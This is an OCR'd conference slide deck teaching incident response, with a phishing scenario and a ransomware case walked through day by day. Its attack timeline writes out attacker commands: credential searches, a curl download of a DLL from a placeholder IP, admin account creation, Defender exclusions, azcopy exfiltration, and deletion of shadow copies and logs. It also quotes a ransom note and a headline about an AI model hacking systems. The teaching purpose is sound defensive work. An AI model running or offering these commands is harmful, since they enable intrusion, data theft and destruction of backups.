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Agenda

Incident Response

“The structured process of identifying, managing, and mitigating the effects
of cybersecurity incidents to minimize damage, recover operations, and
prevent future occurrences” - SANS

* Ransomware and incident response workflows

* What triggers an incident response

* Deep dive into a simple incident response scenario
* Deep dive into a ransomware scenario

* How to prepare in advance
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KNP Logistics

Ransomware Attack -2023

|

700 PEOPLE LOST THEIR
¥ JOBS AFTER THE GOMPANY
-  GOLLAPSED UVEHHIGHT

A company that had traded for more than 150 years and employed 700 people was brought down
~ because of a weak password.
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Logistics firm KNP went out of business after criminals successfully hacked into its computers by
guessing an employee’s password before locking the whole company out of its systems.

< C @ https://motortransport.co.uk ®

MotorTransport 9 @ e

The ransom note said: “If you're reading this it means the internal infrastructure of your company is fully or

partially dead. For now let’s keep all the tears and resentment to ourselves and try to build a constructive
dialogue.”
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Attacker Workflow

Duration Attacker Actions
_ | BREACH |
— Ransomware
’ Initial Recon “Amalicious attack where attackers
ours
to encrypt an organization's data and
Weeks Establish .,
Persistence demand payment to restore access
& Deploy Tools - NIST
Exfiltrate .
— emove .
Data Backups & Two Levels of Extortion
B Execute Logs * Paymentto recover files / operations
Hours Ransomware R  Paymentto not release files to the
to Attack

public or sell to others
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Incident Response Workflow

Management Technical

Activate Playbook

Establish Team

Off-band Channels
(War Room)

IR Retainer, Insurance
Check

Event Triage

Legal & Regulatory Check

Hunt Adversary

Countermeasures

Restoration Priority

Communications
(Internal/External)

Ransom Decision
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Roles and Responsibilities

Incident Commander

Single point of authority. Makes approvals. Understands priorities. Usually, CISO or Director of IT.

Principal Technical Lead

Turns objectives into Incident Response tasks.

Forensics Lead

Performs threat hunting. Determines what happened.
Makes sure evidence is preserved. Performs reverse engineering if needed.

Containment Lead

Isolates environment to prevent attack from spreading. Controls firewalls and access controls.
Assists with eradicating attacker persistence.

Recovery Lead

Restores systems from known-good sources onto a trusted (clean) network.

Communications Lead

Handles internal/external communications (company-wide email, customer notifications, media)

Internal SME

Knows the affected systems in the organization.

Executives / Mgmt

Has interest in keeping operations running. Owns risk and business decisions.

Legal Counsel

Advises on notifications, legal and regulatory obligations.

Project Manager

Consolidates information for status updates.




Incident Response Playbook

Status Meeting

* General Impact Assessment

* General Containment Status

* Expected/Estimated Time to Recovery

* Task Prioritization

e System X Analysis Progress [0% - 100% ]

0% 100%
* System Y Restore Progress [0% - 100% ]
 Domain Controller Rebuild [0% - 100% ] {
* Kerberos Resets [0% - 100% ]

* Network Enclave Setup Progress [ 0% - 100% ]
 EDR Deployment [0%-100% ]
« EDR Visibility [0% - 100% ]
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The : How Attackers Get In

What Triggers an Incident Response (IR)
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Typical Corporate Network

Internet 1-1 Company Infrastructure |--—-------=-------------

VPNIL

1
1
1
1
1
1
Virtual Machine Server,
(ESXi) I
1
1
1
1
1
1
1
1

Enterprise Tools
(Third Party)

Int. App Server Switch/Router
(PROD)
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Personal PC Used for Work

Infected System Connected to Company Network

Internet 1—1 Company Infrastructure |---------------------+ .
: _ . Domain Controller ' ERIAL11R 0 E1-TaVE il o] B
Allow me to save credentials N T |

Ransomware Attack

Home
Computer

BREACH

yO—svPN]I

Virtual Machine Server
(ESXi)

*  What Triggered Incident

Response:
Audio alert, ransom note

* Forensics performed on
personal machine

Operational Tech.

Workstations

HACKER

Staff Laptop File Shares
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Other Cases

Attacker’s Entry into Company Network What Triggered Incident Response

Brute-force attack:
Firewall’s admin login portal exposed to internet

Staff not able to access files when coming back to work

Critical CVEs - Remote Code Execution:
Firewall unpatched
(subscription expired)

Staff not able to access files when coming back to work

‘q Supply Chain Attack:

Software update contains backdoor News headline

SOLARWINDS
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Near Future

v Google's Gemini becomes lat X

C 23 cnbc.com/2026/09/18/googles-gemini-becomes-latest-ai-model-to-break-out-and-hack-computer-systems.html

BREAKING Stocks making th

— CNBC Google’s Gemini becomes latest Al model to break out and hack computer systems

In May, the Gemini model accessed three separate private computer systems
by guessing passwords and by twice using a repository of publicly listed

passwords, Google said.

ZNVIFTA HACKER
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Incident Response
Simple Scenario

Environment:

* Organization heavily relies on SaaS

* No on-prem servers

* Accounts tied MS E5 Security license

* Incident Response Trigger: MS Defender Alert to SOC
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Attack Timeline

+3 Min

Staff clicks URL
(fake login page / proxy)

HACKER

l

WWW.

Fake
Login Page

(2)

0 Min +3 Min

Phishing email received Session token stolen
in staff inbox from staff

BREACH
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Attack Timeline

ALERT

[23188] chrome.exe --type=utilit FtworkService --lang=e.. -+

[23188] chrom... i

Remote IP address ZZZ.Z727Z.227Z.2727Z

Remote port 2722
Local port 77z
Resolved Domain = abc.com

Observed Device

I £ User compromised in AiTM phishing attack mmm High @ Detected ® New

+3 Min

RESPONSE

Attacker dwell time
before
auto-disruption

’

+6 Min

Staff clicks URL MS Defender auto-
(fake login page / proxy) disables account

0 Min +3 Min

Phishing email received Session token stolen
in staff inbox from staff

BREACH
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Attack Timeline

ALERT RESPONSE

[23188] chrome.exe --type=utilit FtworkService --lang=e.. -+

[23188] chrom... i

Remote IP address ZZZ.Z727Z.227Z.2727Z

Remote port 227
Local port zzZ
Resolved Domain -~ abc.com Attacker dwell time
Observed Device befo re
auto-disruption
I £ User compromised in AiTM phishing attack mmm High @ Detected ® New

6

+3 Min +6 Min +9 Hrs
Staff clicks URL MS Defender auto- Full recovery. Impact fully
(fake login page / proxy) disables account assessed

0 Min +3 Min + 10 Min 7 Next Day

Phishing email received Session token stolen Issue confirmed, . Lessons learned shared
in staff inbox from staff Manual deep analysis, with all staff

Manual containment,
Leadership notified

BREACH
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Incident Response Actions

Containment
* Confirm account is disabled
* Revoke all sessions. Reset Password. Remove all MFA methods.
* |solate laptop. Don’t power off.
Communication & Executive Operations
* Notify leadership
 Check legal/regulatory obligations (breach notifications)
Analysis
* |nvestigate incident (root cause, impact, check if anyone else receive the email)

* Review and export logs

ﬂ admin.exchange.microsoft.com | Message trace (Email forensics): Who received the phishing email and when

i security.microsoft.com Main IR Console: Alert, user, and device timelines. IP search (to/from). Advanced Hunting (KQL).
) entra.microsoft.com Sign-in logs (review access region), revoke sessions, enable/disable account

%: intune.microsoft.com Device inventory and compliance state

5 purview.microsoft.com Unified audit log and eDiscovery search: What data was accessed

¢ CYBERSECURITY

-
m# CONFERENCE




Incident Response Actions

Analysis (cont.)

* Perform memory capture and analysis of laptop

Baseline - Check user behavior before and after account compromise
 Checkif new accounts were created

Check if new inbox rules were created such as email forwarding
Forensic image of drive for evidence preservation (log hash)
* Document all due diligence activities

* True positives and false positive findings
Recovery

New laptop, reset password, re-register MFA, then enable account
* Monitor for 30 days

Regulatory obligations

L

Example: Is an external breach notification required?

* Retention period for investigation artifacts
Post-Incident

e AR

* Reporting
* Lessons learned

oA




Incident Response
Composite Complex Scenario

Environment:

* Alerts not well monitored

* Corporate file shares (SMB) contained passwords

* Some systems don’t have EDR

* Large amount of on-prem systems

* No network segregation

* Incident Response Trigger: Staff could not access files when returning to work




Social Engineering
Staff Executes Attacker Commands

Internet -1 Company Infrastructure  |-=------------=-------7

VPN]I -

Virtual Machine Server
(ESXi)

(TN

Switch/Router

8

| .' .'

Workstations

HACKER
\

WW.

Staff Laptop

File Shares

Fake <
CAPTCHA
(ClickFix)

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
Operational Tech. |
1
1
1
1
1
1
1
1
1
1
1
|
1
1
1
1
1
1




Ransomware Attack Timeline

o[ https // ClickFix (Fake CAPTCHA) Ig—
ETIE] =

‘rlz—\-r -\.nl.‘ks

To better prove you are not a robot, please: .
Clo oy 3 curity
Press & hold the Windows Key S+ R.

2. In the verification window, press Ctrl + V.
Press Enter on your keyboard to finish.

You will observe and agree:

')

Perform the steps above to finish

verifcaton.

Jan 2

tasklist.exe

Test-Connection ... > PingSweeps.txt

reg query HKIM /f password ..

findstr /S /1/C:"password" \\server\share\ **

Initial Recon

time ;

2

Jan 2

powershell.exe -Command
* Download malware (e.g. sys.dll)

* rundll32.exe
C:\ProgramData\sys.dll argl

BREACH

executable

ALERT (ignored):
Low-reputation
arbitrary code
executed by signed




Ransomware Attack Timeline

To better prove you are not a robot, please: .
Clo oy 3 curity
Press & hold the Windows Key S+ R.
Jan 2
2. In the verification window, press Ctrl + V. .
tasklist.exe

Press Enter on your keyboard to finish. Test-Connection > PingSweeps txt

You will observe and agree: reg query HKIM /fpaSSWOI'd ..

findstr /S /1/C:"password" \\server\share\ **

Initial Recon

Jan 2 Jan2- Jan 25 (Sunday)

powershell.exe -Command Pivot to other systems:

L . * net use \\TARGET\C$ <password> /user:DOMAIN\<acc> =
ow-reputation Download other files: » Suspicious Scheduled Task Process

STy code. curl -o "C:\ProgramData\system64.d1l" Launchec! i
» rundll32.exe executed by signed "httpy//222.222.222.222/123 d1I" * New administrator added
C:\ProgramData\sys.dll argl executable schtasks.exe
net user support password /add
BREACH net localgroup Administrators support /add
Connect to multiple unique IPs - Redirectors to C2

Add-MpPreference -ExclusionPath

ALERT (ignored): ALERT (Ignored):

* Download malware (e.g. sys.dll)

Establish Persistence & Deploy Tools




Ransomware Attack Timeline

o[https:// ClickFix (Fake CAPTCHA) RJ—

To better prove you are not a robot, please: .
Clo oy 3 curity
Press & hold the Windows Key S+ R.
o Jan 2 Jan3—Jan 1l
In the verification window, press Ctrl + V. .
gt Emee ey ey e s ARl :[raskhsct.exe . PineS * azcopy_windows_amd64.exe copy "\\system1\folder"
* o > 2 9
SEISLOE CIT ..o MZS RS "https://abc.blob.core.windows.net/zzz --recursive

You will observe and agree: l’eg ql,lery HK[M /fpaSSWOl'd 5o

findstr /S /1/C:"password" \\server\share\ **

Initial Recon Exfiltrate Data

Jan 2 Jan2- Jan 25 (Sunday)

powershell.exe -Command Pivot to other systems:

L . * net use \\TARGET\C$ <password> /user:DOMAIN\<acc> =
ow-reputation Download other files: » Suspicious Scheduled Task Process

E0lE code. curl -0 "C:\ProgramData\system64.d1l" Launchec! )
» rundll32.exe executed by signed "httpy//222.222.222.222/123 d1I" * New administrator added

C:\ProgramData\sys.dll argl executable schtasks.exe
net user support password /add
BREACH net localgroup Administrators support /add
Connect to multiple unique IPs - Redirectors to C2
Add-MpPreference -ExclusionPath
NMFTA Establish Persistence & Deploy Tools

¢ CYBERSECURITY
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ALERT (ignored): ALERT (Ignored):

* Download malware (e.g. sys.dll)




Ransomware Attack Timeline

Jan 25 (Sunday)

vssadmin delete shadows

ALERT (ignored):
/ All/ Quiet

‘ * Suspicious
wmic shadowcopy delete activity - File
wbadmin.exe delete ... backup deleted

fsutil usn deletejournal ...
wevtutil cl security
Remove-Item

Remove Backups & Logs

7

Jan 25 - On-going

* 5j3264.exe arg3
* . locked extension added
to each file

Encrypt Files

vSphiere Client (O

] New Folder

T Upload Files T Upload Folder

Name T

[] 7ta2mv91qc.zknb._locked
D 8317k74p9wrdx24.qv6hzm2ea8l._locked
[ 3d9042x7hzt58wK6.f721844mmn._locked

[) 6hdwznc21igm79b05x83jd0esylsv447rk9p2ba3imfu.pxa._locked

[) how_to_decrypt.txt




Ransomware Attack Timeline

7

an 25 — -going
Jan 25 (Sunday) Jan On-going

* 5j3264.exe arg3

vssadmin delete shadows e locked extension added

ALERT (ignored):
/ All/ Quiet

‘ » Suspicious to each file
wmic shadowcopy delete activity - File
wbadmin.exe delete ... backup deleted

fsutil usn deletejournal ...
wevtutil cl security
Remove-Item

Encrypt Files

Remove Backups & Logs

] New Folder

T Upload Files T Upload Folder

Jan 25

Name T

[] 7ta2mv91qc.zknb._locked
D 8317k74p9wrdx24.qv6hzm2ea8l._locked
[ 3d9042x7hzt58wK6.f721844mmn._locked

[) 6hdwznc21igm79b05x83jd0esylsv447rk9p2ba3imfu.pxa._locked

[) how_to_decrypt.txt

Leave note where IT can find it

Leave Note _

I
I
(]

= how_to_decrypt.txt

THE ENTIRE NETWORK IS ENCRYPTED
YOUR BUSINESS IS LOSING MONEY

All documents, databases, backups and other critical data were encrypted and leaked
The program uses a secure AES algorithm, which makes decryption impossible without contactir
If you refuse to negotiate, the data will be auctioned off

To recover your data, please follow the instructions
1. Download Tor Browser
https://torproject.org/
2. Open decryption page
http://abcl23.onion/
3. Auth using this key
~—START_OF_DATA—
46434A41444944353742394330394243413l34443032464634463@4441454137453333337433937384645374532'
B A529C12150786DAA3921AB9AA9C6@1A1B55BA2D7375834AB101B90018998A1626019A6DA5DASE
19781A2A463A28198D1305CA813D1611BA76D4B3B16BC4572A9DA20916519D19C12108250969C]
\AC11D@4BB85412A5B61846A8874DA15A500000303419B49194A14950BD105A7A617CB3CAAB5A/
1965C26821C0A816A1905136D5ABC40119199BC2B4976BAAAD14A2A08365B60C4A14176A2A2B74
I7AD6@CIA2478B2A97863D05299518BA9D27298110192A15972A8A25AB2A186849A16571BC81B5]
\ACB780B53589456A8AC832A9CAD13CCAA874B18986AD1310A0297801A0213ABA17C2ADBABIASL
‘D3A3471D94A34B6DA3606A422C4B11A26151C2B021112463C9195146167152AA5BBBAB6289BAE
181245BD06@C80BA810ADA63038680D17C91117DABA8B3A830D39081B1112AD191A7592221DB3DA
¥267D09410101831ABC21203314CB1B8A8915CA3B55650D626317AA471D99AA5677888CB1A6187(
A1U4617/D61B931894AA61615A8C8C0A2C1C11C67AC4B216A389877BBD3D56A51A3A61AD50A3BACD38963:
24431@32A93D1BBS43CA2?SASCG535677C5341855A8C27913SBZB4BBCAC416743C88AC211A75C9AA9AA224@3176]
C@S13A7282151638224C3C3AB4BS47A95312A?BlCB4C67@1C632A2683259434D025766A9866CBAC6921A486C386[
44443438383936443633453635393941B9BBD@A96DCO5160A889035414892112 el
——END_OF_DATA—

The price depends on how soon you wil

™



Technical Incident Response Timeline

1

Jan 26 (Monday) Jan 26

Staff cannot access * Check remote backups (e.g. Datto)
files with out-of-band system

Ransom note found

IR triggered

Review playbook

Jan 26 — First hours of IR

Set up out-of-band communication

(War Room)

Isolate the network

(Firewall — No internet connection)

Isolate devices from network

Advise not to power off devices
Enterprise-wide password reset, privileged
accounts first, include service accounts

w CYBERSECURITY
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Technical Incident Response Timeline

1

Jan 26 (Monday) Jan 26 Jan 26 — On-going

Staff cannot access * Check remote backups (e.g. Datto)
files with out-of-band system

Ransom note found

IR triggered

Review playbook

* Export all logs (some logs only last 30 days)
* Security assessment of 0365
* Perform record-keeping / chain-of-custody

Jan 26 — First hours of IR Jan 26 — On-going

Set up out-of-band communication Start threat hunting
(War Room) (KQL to perform searches)

Check GPO

Check for newly created accounts & disable
what is new

Create asset list of [oCs to share with War Room
Create list of known infected assets

(e.g. * locked)

Start performing forensic captures of devices

Isolate the network

(Firewall — No internet connection)

Isolate devices from network

Advise not to power off devices
Enterprise-wide password reset, privileged
accounts first, include service accounts

w CYBERSECURITY
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Technical Incident Response Timeline

1 3 5 7
Jan 26 (Monday) Jan 26 Jan 26 — On-going Jan 27— On-going

Staff cannot access * Check remote backups (e.g. Datto)
e with out-of-band system * Export all logs (some logs only last 30 days)  Plan to deploy new EDR on

Ransom note found * Security assessment of 0365 all machines
IR triggered * Perform record-keeping / chain-of-custody

Review playbook

Jan 26 — First hours of IR Jan 26 — On-going Jan 27 - 30

Set up out-of-band communication Start threat hunting Kerberos password reset x2

(War Room) (KQL to perform searches) AD replication

Check GPO Malicious binaries found (reverse engineer)

Check for newly created accounts & disable Method to exfiltrate found (azcopy_*) — update legal
what is new

Create asset list of IoCs to share with War Room

Create list of known infected assets

(e.g. * locked)

Start performing forensic captures of devices

Isolate the network

(Firewall — No internet connection)

Isolate devices from network

Advise not to power off devices
Enterprise-wide password reset, privileged
accounts first, include service accounts

NMFTA
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Technical Incident Response Timeline

Jan 28 — Feb 5

* Rebuild OT systems
(contact vendor)

) ; 20 _ -o0Ilng
Jan 28 Jan 29 — On-going

Create network enclaves in firewall * Update EDR rules with ToCs

* Egress default deny

OBSERVATION (Insecure on purpose)

* Full packet capture

* Sinkhole DNS

* Place to test

CLEAN (New, Trusted)

* For clean AD & verified media/backups
* For confirmed cleaned assets

* For confirmed EDR visible assets

¢ CYBERSECURITY
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Technical Incident Response Timeline

Jan 28 — Feb 5 11 Jan 29 — Feb 6 13 Feb 27

* High level of confidence most IoC determined * Full operational recovery

* Rebuild OT systems * High level of confidence date of breach determined

(contact vendor)

time
: 10 _
Jan 28 Jan 29 — On-going Jan 29 — On-going

« Update EDR rules with IoCs Put verified cleaned systems on the CLEAN enclave
Have staff work out of the CLEAN enclave with verified clean equipment
Draft detailed postmortem

Create network enclaves in firewall

* Egress default deny

OBSERVATION (Insecure on purpose)

* Full packet capture

* Sinkhole DNS

* Place to test

CLEAN (New, Trusted)

* For clean AD & verified media/backups
* For confirmed cleaned assets

* For confirmed EDR visible assets

‘_- .
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How to Prepare in Advance

Work you do before an incident
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How to Prepare

* Prepare a playbook
* Build a Technology System Restoration Index (TSRI)

!ﬁ [ Index #, System Name, Physical Location, Description, Priority, Upstream Dependencies, Owner |
 Determine how long it takes to drive to the affected site

* Determine how far back logs can go
* Log retention/rotation period
* Which are remote/offsite

 Checkbackup frequency & if stored offsite. Test restore

* Determine detection visibility
 Example: Does the hypervisor have an EDR/detection?
* Perform purple-team exercises
* Determine if alerts are reported properly

 Check SharePoint, GitHub History, file shares, SMB for leaked secrets
* Maintain up-to-date network/architecture diagrams

* Perform regular vulnerability scanning and patching
 Conducttabletop exercises

 See what can be automated
* SOAR - Security Orchestration, Automation, and Response

l_- . .-
ENVIFTA
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Incident Response & Forensic Tools

Detection & Prevention Investigation & Forensics Containment & Eradication Recovery & Coordination

SIEM MS Security Portals MS Security Portals Immutable backups
(e.g Sentinel, Splunk) (e.g. Purview, IR console ext..) (e.g. Entra, revoke sessions..) (e.g. Veeam, Datto)

EDR Suite KAPE EDR host isolation Out-of-band communications
(e.g. Microsoft Defender) (e.g. Signal)

Autopsy / Sleuth Kit Firewall enclaves
Entra ID protection (Dirty, Observation, Clean) Off-of-band storage

Event Viewer (e.g. Sharefile.com)

Firewall / IDS / IPS

FTK Imager Ticketing System

Redline MITRE ATT&CK Navigator

Sysinternals Suite
(e.g. Procmon)

Wireshark
VirusTotal — Send hashes
Ghidra

Velociraptor

i L TOCHOECURTIY
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Questions?

Ahmed Shah
Malleum

ashah@malleum.com

+1-877-RED-TEAM
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Resources

* NMFTA - Ransomware Playbook Template

* NIST IR Framework - NIST SP 800-61 Revision 3

* Blue Team Handbook: Incident Response - Don Murdoch

* SANS - Incident Handler's Handbook - Patrick Kral

* CISA - Cybersecurity Incident & Vulnerability Response Playbooks

* CIRO - Ransomware Response Playbook



https://nmfta.org/wp-content/media/2022/11/Ransomware-Playbook-Template.pdf
https://nmfta.org/wp-content/media/2022/11/Ransomware-Playbook-Template.pdf
https://nmfta.org/wp-content/media/2022/11/Ransomware-Playbook-Template.pdf
https://nmfta.org/wp-content/media/2022/11/Ransomware-Playbook-Template.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r3.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r3.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r3.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r3.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r3.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r3.pdf
https://www.sans.org/white-papers/33901
https://www.sans.org/white-papers/33901
https://www.sans.org/white-papers/33901
https://www.sans.org/white-papers/33901
https://www.sans.org/white-papers/33901
https://www.sans.org/white-papers/33901
https://www.cisa.gov/sites/default/files/2024-08/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf
https://www.cisa.gov/sites/default/files/2024-08/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf
https://www.cisa.gov/sites/default/files/2024-08/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf
https://www.cisa.gov/sites/default/files/2024-08/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf
https://www.ciro.ca/sites/default/files/2024-02/CIRO-Ransomware-Response-Playbook-EN.pdf
https://www.ciro.ca/sites/default/files/2024-02/CIRO-Ransomware-Response-Playbook-EN.pdf
https://www.ciro.ca/sites/default/files/2024-02/CIRO-Ransomware-Response-Playbook-EN.pdf
https://www.ciro.ca/sites/default/files/2024-02/CIRO-Ransomware-Response-Playbook-EN.pdf
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